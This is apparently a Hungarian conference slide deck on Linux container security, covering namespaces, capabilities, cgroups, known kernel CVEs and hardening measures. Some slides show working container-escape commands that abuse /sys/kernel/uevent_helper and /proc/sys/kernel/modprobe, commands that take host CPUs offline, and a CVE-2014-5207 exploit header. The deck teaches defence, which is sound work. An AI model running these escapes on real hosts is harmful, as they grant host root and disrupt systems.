Andrews Kft. Konténerek az IT biztonság szemszögéből. 131 /



Hasonló dokumentumok
Andrews Kft. Konténerek az IT biztonság szemszögéből.

Virtualizációs Technológiák Operációs rendszer szintű virtualizáció Konténerek Forrás, BME-VIK Virtualizációs technológiák

[29 / 1] Linux biztonsági lehetőségeinek áttekintése

AppArmor. Névalapú kötelező hozzáférés-vezérlés PPKE-ITK március április

Utolsó módosítás:

UNIX / Linux rendszeradminisztráció

Adatbázis és alkalmazás konszolidáció Oracle SPARC T4/5 alapon

Virtualizáció. egy hardveren több virtuális rendszer működik egyszerre, virtuális gépekben futó önálló vendég (guest) operációs rendszerek formájában

A Docker alapjai. Takács Ákos PTE Egyetemi Könyvtár és Tudásközpont TAKÁCS ÁKOS - IPSZILON SZEMINÁRIUM - A DOCKER ALAPJAI 1

OPERÁCIÓS RENDSZEREK I. BEVEZETÉS Koczka Ferenc -

Szerverterem egy számítógépben avagy hogyan élnek a barack lakói. Mátó Péter <mato.peter@fsf.hu>

Virtualizáció szabad szoftverekkel. Mátó Péter

LOK Virtualizáció. szabad szofverekkel. Mátó Péter

Szalai Ferenc

Felhő alapú hálózatok (VITMMA02) OpenStack Neutron Networking

Virtualizációs technológiák Linux alatt (teljesítményteszt)

OPERÁCIÓS RENDSZEREK II GYAKORLAT

Informatikai Rendszerek Intézete Gábor Dénes Foiskola. Operációs rendszerek oldal LINUX

Utolsó módosítás:

Az időhöz kötődő parancsok

UNIX: fájlrendszerek

TI TMDSEVM6472 rövid bemutatása

Cloud computing. Cloud computing. Dr. Bakonyi Péter.

Operációs rendszerek. UNIX fájlrendszer

Könyvtári szervervirtualizáció Oracle Virtual Machine platformon

Az internet ökoszisztémája és evolúciója. Gyakorlat 1

Léteznek nagyon jó integrált szoftver termékek a feladatra. Ezek többnyire drágák, és az üzemeltetésük sem túl egyszerű.

Cloud computing Dr. Bakonyi Péter.

Hogyan működtethető a telefonrendszer virtuális környezetben? Mészáros Tamás Műszaki fejlesztési vezető

UNIX fájlrendszerek alapismeretei

Biztonságos desktop megoldás: Qubes OS

Linux fájlrendszerek. Papp Zsolt. Rendszermérnök, Novell PSH.

Segesdi Dániel. OpenNebula. Virtualizációs technológiák és alkalmazásaik BMEVIMIAV ősz

Processzusok (Processes), Szálak (Threads), Kommunikáció (IPC, Inter-Process Communication)

Felhő alapú hálózatok Konténer alapú virtualizáció Dr. Simon Csaba

2. lépés: openssh szerver telepítés sudo apt-get install openssh-server

Utolsó módosítás:

1_Linux_bevezeto_bash

Optimalizáció ESX-től View-ig. Pintér Kornél ügyfélszolgála3 mérnök

Unix-Linux alapok I. gyakorlatvezető: Lutár Patrícia

Operációs rendszerek. Az NT folyamatok kezelése

Az internet ökoszisztémája és evolúciója. Gyakorlat 1

Operációs rendszerek III.

Operációs rendszerek. UNIX/Linux fájlrendszerek

Operációs Rendszerek II. labor alkalom

Processzusok (Processes), Szálak (Threads), Kommunikáció (IPC, Inter-Process Communication)

Alternatív processz állapot és statisztika lekérdezési módszer a Linux kernelben

A 21. század adatközpontja Oracle Solaris alapon

Hálózatok építése és üzemeltetése

VMware vsphere. Virtuális Hálózatok Biztonsága. Andrews IT Engineering Kft.

Magyar Posta központi Oracle infrastruktúrája VMware alapokon

OPERÁCIÓS RENDSZEREK 1. PROCESSZKEZELÉS

Virtualizációs Technológiák Bevezetés Kovács Ákos Forrás, BME-VIK Virtualizációs technológiák

Virtuális gépben futtatott CPU-emulátor teljesítményének vizsgálata

Operációs rendszerek gyakorlat

UNIX: folyamatok kommunikációja

Virtualizációs technológiák és alkalmazások. Házi feladat. A Virtualbox. készítette: Andrus Tamás

Operációs Rendszerek II. Első verzió: 2009/2010. I. szemeszter Ez a verzió: 2009/2010. II. szemeszter

Operációs rendszerek. Windows NT. A Windows NT

Témák. Betörés megelőző rendszerek. Mire használhatjuk az IDS-t? Mi az IDS? (Intruding Detection System)

Verziókezelt konfigurációmanagement++ Pásztor György, SZTE Klebelsberg Könyvtár

Utolsó módosítás:

LINUX PMB LINUXOS PARANCSOK ÉS HASZNÁLATUK - GRUB

(kernel3d vizualizáció: kernel245_graph.mpg)

Az alábbiakban néhány Linux parancsra látunk példákat, feladatokat.

Utolsó módosítás:

Gyakorla( útmutató és demonstrációk a SZTAKI Felhő használatához

Bevezetés az informatikába, második gyakorlat. Bevezetés Környezetváltozók és néhány egyszerű utasítás Jogosultságok Fájlkezelés

2016/06/09 13:15 1/108 Linux parancssor

Gyors tippek linuxra

es tanév őszi félév Tantárgyi követelményrendszer és programleírás

Linux alapok és használatuk

Operációs rendszerek. Folyamatok kezelése a UNIX-ban

LINUX PMB VIRTUALBOX TÖRTÉNELEM DEBIAN ALAPPARANCSOK - GRUB

VIRTUALIZÁCIÓ KÉSZÍTETTE: NAGY ZOLTÁN MÁRK EHA: NAZKABF.SZE I. ÉVES PROGRAMTERVEZŐ-INFORMATIKUS, BSC

Legfontosabb tulajdonságai. UNIX rendszer felhasználói és fejlesztői felülete (1-4. ea.) Unix hagymahéj struktúrája. Legfontosabb tulajdonságai

2011 PCI Community Meeting Újdonságok Tassi Miklós Gáspár Csaba

Állásidő minimalizálása: BTRFS, kgraft

Hálózati operációs rendszerek II. Novell Netware 5.1 Szerver

Hiperkonvergens infrastruktúra. Brenner Zoltán rendszermérnök

Vodafone ODI ETL eszközzel töltött adattárház Disaster Recovery megoldása. Rákosi Péter és Lányi Árpád

Operációs rendszerek. 4. gyakorlat. BASH bevezetés, script írása, futtatása UNIVERSITAS SCIENTIARUM SZEGEDIENSIS UNIVERSITY OF SZEGED

Kiszolgálók üzemeltetése FTP. Iványi Péter

Operációs rendszerek gyakorlat

Budapesti Műszaki és Gazdaságtudományi Egyetem Villamosmérnöki és Informatikai Kar. Virtualizációs technológiák és alkalmazásaik BMEVIMIAV89

Szkriptnyelvek. 1. UNIX shell

JavaScript bűvésztrükkök, avagy PDF olvasó és böngésző hackelés

Fájlrendszer-címkézés a SELinuxban

4. Laborgyakorlat. A fájlokról ezeket az adatokat, a fájlrendszer tárolja. Számunkra az 1, 3, 4. oszlopok lesznek az érdekesek.

Operációs rendszerek. A Windows NT felépítése

Operációs rendszerek Memóriakezelés 1.1

SQLServer. SQLServer konfigurációk

Alkalmazás és megjelenítés virtualizáció

Utolsó módosítás:

1. Használatba vétel. 1.1 Biztonsági előírások. 1.2 Rendszerkövetelmények. 1.3 A csomag tartalma

Operációs rendszerek 2 3. alkalom - Reguláris kifejezések, grep, sed. Windisch Gergely windisch.gergely@nik.uni-obuda.hu

Networkshop 2013 (március ) 1.

VirtualBox, Debian telepítés

Operációs rendszerek. Bemutatkozás

Linux alapok gyakorlat

Átírás:

Andrews Kft. Konténerek az IT biztonság szemszögéből <zambo.marcell@andrews.hu> 131 /

Röviden a virtualizációról Az alap: egy vason, több rendszer. Virtualizáció előnyei: Jobb erőforrás kihasználhatóság. Rendkívüli rugalmasság új létrehozása, meglevő módosítása, másolása (clone), törlése, stb... Virtualizáció fajtái: Hypervisor alapú Operációs rendszer alapú Alkalmazás alapú igen, ők a konténerek 231 /

Egy kis konténer történelem... 331 /

Egy kis konténer történelem... 431 /

Virtualizációs tipúsokról vizuálisan :) 531 /

Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz NET IPC USR Host OS kernel Hardver Normál működés esetén 631 /

Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz NET IPC USR Host OS kernel Hardver Normál működés esetén Processz Processz Processz Guest Kernel VM (processz) Processz Processz Processz NET IPC USR NET IPC USR Virt HW Guest Kernel Virt HW VM (processz) NET IPC USR Host OS kernel Hardver Virtuális gépek esetén 731 /

Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz Processz NET IPC USR Host OS kernel Hardver Normál működés esetén Processz Processz Processz Guest Kernel VM (processz) Processz Processz Processz NET IPC USR NET IPC USR Virt HW Guest Kernel Virt HW VM (processz) NET IPC USR Host OS kernel Hardver Virtuális gépek esetén 831 /

Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz NET IPC USR Host OS kernel Hardver Normál működés esetén Processz Processz Processz Guest Kernel VM (processz) Processz Processz Processz NET IPC USR NET IPC USR Virt HW Guest Kernel Virt HW VM (processz) NET IPC USR Host OS kernel Hardver Virtuális gépek esetén 931 /

Virtualizációs tipúsokról vizuálisan :) Processz Processz Processz NET IPC USR Host OS kernel Hardver Processz Processz NET IPC USR NET IPC USR Host OS kernel Hardver Normál működés esetén Konténerek használata esetén Processz Processz Processz Guest Kernel VM (processz) Hardver Processz Processz Processz NET IPC USR NET IPC USR Virt HW Host OS kernel Guest Kernel Virt HW VM (processz) NET IPC USR Virtuális gépek esetén 1031 /

Hypervisor vs Containers Teljes hardver környezetet emulál: HW támogatás szükséges A host szempontjából a guest csak 1 processz Host-tól független kernelt, OS-t is képes futtatni Költségesebb a futtatása Felépítéséből biztonságosabb eredően A szükséges alrendszereket példányosítja csak: Nincs speciális HW igény A host szempontjából minden futtatott alkalmazás processz egyedi processz Felépítéséből eredően kicsi az overhead Az összes guest alatt ugyanaz a kernel fut 1131 /

Az LXC biztonsági elemzése 1231 /

Linux-os konténerek felépítése Két fő részből tevődnek össze Namespace-ekből, feladatuk a példányosítás megvalósítása, fajtái: Chroot/pivot_root az elsők. MOUNT_NS Fájlrendszer (VFS) csatolásokra vonatkozó ns UTS_NS A hostnév névtérét fele. (a konténerünknek eltérhet a neve a hosttól) IPC_NS SHM, semaphores, message queues szerparációját valósítja meg USER_NS UID/GID-ek virtuális megfeleletetésér felel, a konténeren belül lehetnek saját uid-ek és gid-ek ( - ebben volt egy nagyon csúnya bug,!0 0) PID_NS a konténeren belül saját PID névtér van, hiheti magáról bármely processz hogy ő az 1-es PID (init), külső névtér nem címezhető pid alapján PID_NS!= /proc ns (ilyen nincs is...) NET_NS Teljes hálózati stack... Cgroups-okból erőforrások korlátozása cpuset, cpu, cpuacct, freezer, memory, blkio és devices erőforrás csoportok Egyéb: Capabilitik 1331 /

Chroot Rendszerhívás ill. a rá épülő segéd alkalmazás (csak) fájlrendszer szintű szeparációt valósít meg a hívó process és leszármazottai számára Ha nem megfelelően hívjuk akkor még fs szinten sem biztonságos Karbantarthatóság? / /var /lib /etc /var/www/.../www/cgi chdir(/var/www) chroot(.).../www/html 1431 /

Namespace-ek tulajdonságai Chroot (hierarchikus) Network (izolált) Mount (izolált/klónozható) PID (hierarchikus) UTS/Hostname (izolált) UID (hierarchikus) IPC (izolált) A szülő láthatja a gyerek erőforrásait Izolált NS-ek, nincs kapcsolat Bővebben: http://doger.io Többféle családfa lehetséges. 1531 /

Capability-k A monolitikus root jog szétvált capability -kre Ezek eldobhatóvá váltak, csak azt tartjuk meg ami valóban kell a programunk számára Nem 0 uid is birtokolhatja Parancsok: capsh, man 7 capabilities Fontosabb capability-k: cap_audit_(write control) cap_(mac net sys)_admin cap_kill cap_linux_immutable cap_set_* cap_sys_(chroot module) 3.6.9-es kernelben 37 van 1631 /

C(ontrol)groups Erőforrás limitáció Processz priorizálás Accounting: az egyes erőforrások használatának mérésére Kontroll: az egyes cgroupok leállítása, és újraindítása Parancsok: man cgcreate Szabályozható erőforrások: CPU Memória Block device-ok elérési sebessége Freezer alrendszer* Hálózati sávszélessére nem nyújt megoldást, arra marad a tc 1731 /

Hiányosságok és gyengeségek 1831 /

Hiányosságok, gyengeségek... A leggyengébb láncszem a közös kernel (nem Linux spec.) A virtualizált processzek közvetlenül a host kernellel állnak kapcsolatban Egy kernel bugra épülő exploit visz mindent Hypervisor alapú sebezhetőségénél, ez többnyire csak az adott guest-et viszi /proc mínusz PID_NS, /sys Pl: /proc/sys/vm/drop_cache, /proc/sysrq-trigger és társai echo 0 tee /sys/devices/system/cpu/cpu*/online ue memory-val [409388.207773] kvm: disabling virtualization on CPU1 [409388.207790] smpboot: CPU 1 is now offline 1931 /

Hiányosságok, gyengeségek... Ulimitek Mivel a konténerekben futó processzek a host kernel számára is valódi processzek, így az egyes processzekre vonatkozó limitek ugyanúgy érvényesek a konténerekben futó processzekre. Fork bombázás A cgroups erőforrás korlátozó beállításai ellenére is kellemetlenek lehetnek a fork bombák: A limitált CPU-t kihajtja ( Na és?! ) A limitált MEMoriát megeszi, swappelteti a rendszert Nyitott FD-ket szépen megeszi (másnak nem marad...) DoS! Max user processes, open files 2031 /

Hiányosságok, gyengeségek... Audit alrendszer (3.7-es kernel óta OK, de előtte ) 3.6 3.7 A támadó az audit alrendszeren keresztül feltérképezhette a hoston és a többi konténerben futó processzeket, elég alaposan Kmsg (dmesg) [ http://lxr.free-electrons.com/diff/kernel/audit.c?v=3.6;diffvar=v;diffval=3.7 ] jelenleg is működik a konténerből olvashatod a kernel üzeneteit, támadásoknál ezek hasznosak lehetnek /proc/sys/kernel/dmesg_restrict a barátunk ilyenkor 2131 /

Pivot_root / chroot Mik ezek? És hogyan lehet vele kitörni a konténerből vele? Chroot: This call does not close open file descriptors, and such file descriptors may allow access to files outside the chroot tree. http://people.canonical.com/~serge/chrootintoslave/ Egy szép demonstárciója a problémának Lxc hív egy pivot_root vált rootfs-t, nyítva hagyja a kitöréshez szükséges fd-t lilo@hargita:~$ ps axfw grep lxc-start -C1 10294? S 0:00 \_ lxc-start -n rr-20150825 10310? Ss 0:00 \_ /sbin/init lilo@hargita:~$ cd /proc; sudo ls -l 10294/root 10310/root Lrwxrwxrwx 1 0 0 0 okt 17 11:09 /proc/10294/root -> / Lrwxrwxrwx 1 0 0 0 okt 17 11:09 /proc/10310/root -> / 2231 /

kitörés a sysfs-en keresztül Ha root vagy a konténerben root leszel kint is... root@lxc# cat /tmp/evil_helper #!/bin/bash set >> /tmp/alma1 date >> /tmp/alma1 root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/evil_helper > /sys/kernel/uevent_helper root@lxc# cat /sys/kernel/uevent_helper /var/lib/lxc/lxc/rootfs/tmp/evil_helper root@lxc# echo change > /sys/class/mem/null/uevent hatására lefut a /var/lib/lxc/lxc/rootfs/tmp/evil_helper 2331 /

kitörés a procfs-en keresztül root@lxc# cat /tmp/x #!/bin/bash mkdir /tmp/12345alma root@lxc# cat /proc/sys/kernel/modprobe /sbin/modprobe root@lxc# echo /var/lib/lxc/lxc/rootfs/tmp/x > /proc/sys/kernel/modprobe root@telekom-vpn:/proc# iptables -t raw -nl iptables v1.4.21: can't initialize iptables table `raw': Table does not exist (do you need to insmod?) root@host:ls -dl /tmp/12345alma/ drw-rw---- 2 root root 40 máj 19 09:41 /tmp/12345alma/ 2431 /

Ismert biztonsági hibák az implementációban [7.1] CVE-2010-0006: 2.6.32.4 olyan hibát tartalmazott mely csak a network namespace használata esetén volt támadható [???] git:41c21e351e: talán nem exploitálható user_namespace bug... [7.8] CVE-2011-2189: 2.6.35 DoS network namespace-en keresztül [7.2] CVE-2013-1858: 3.8.3 biztosan exploitálható user_namespace bug [Lásd következő slide-on] [2.1] CVE-2013-1956: 3.8.6 át lehetett chrootolni más (akár több joggal rendelkező) namespaceekbe [4.7] CVE-2013-4205: 3.10.6 user_namespace memória szivágós DoS [6.2] CVE-2014-4014: 3.14.8 állományrendszer capabilitik segítségével ki lehetett törni a konténerekből [7.2] CVE-2014-5206: 3.16.1 nem védett a MNT_LOCK_READONLY mount flag módosítása ellen, újra lehetett mountolni RW módban [6.0] CVE-2014-5207: 3.16.1 a fentiek mintájára a MNT_NODEV, MNT_NOSUID, és MNT_NOEXEC valamint MNT_ATIME_MASK opciók kijátszhatóak voltak egy kis bind mountolgatás segítségével* [4.6] CVE-2014-8989: 3.17.4 lehetővé tette a csoporttagságok módosítását ezáltal a kizáró csoport alapú ACL-ek kijátszhatóak voltak 2531 /

Egy két érdekesség a hibákról CVE-2013-1858 működése /* FUSE-based exploit for CVE-2014-5207 Copyright (c) 2014 Andy Lutomirski CVE-2014-5207 publikus exploitja Based on code that is: Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu> This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid mkdir test./fuse_suid test This isn't a work of art: it doesn't clean up after itself very well. */ 2631 /

Védelmi lehetőségekről 2731 /

Védelmi lehetőségek, teendők 1. Az alaprendszer megerősítése Pax/Grsec, Apparmor, SELinux Szedjük szét több gépre a konténereinket, biztonsági besorolásuk szerint (akár a valódi hostok hálózati szeparációja esetében) Konténerek megerősítése Unpriveledged Containers, kontérnerek normál userként futnak! Capabilitik megfelelő használata Állományrendszer szintű capability-k este lxc.cgroup.devices lxc.cgroup.devices.deny = a # mindent tilos, lxc.cgroup.devices.allow = # kivéve amit szabad elv alkalmazása Minimalizálni kell a konténerben rootként futó alkalmazások számát és ha lehet jogait. 2831 /

Védelmi lehetőségek, teendők 2. Seccomp alkalmazása Az LXC configban van rá lehetőség és példa konfig is A /proc és /sys mountolásának felülvizsgálata (részleges mount, RO mount) Auditd hangolása a konténerek felügyeletére Securebits (SECURE_NOROOT, SET_DUMPABLE) és társainak használata, man prctl :) Cgroups-ok mellett érdemes figyelni az rlimit-ek értékeire 2931 /

Hasznos biztonsági kütyük mbox http://pdos.csail.mit.edu/mbox/ firejail https://l3net.wordpress.com/projects/firejail/ minijail https://chromium.googlesource.com/chromiumos/platform/minijail/ Olvasnivalók https://www.kernel.org/doc/documentation/namespaces/compatibility-list.txt https://www.kernel.org/doc/documentation/namespaces/resource-control.txt 3031 /

Vége Köszönöm a figyelmet! Kérdések? 3131 /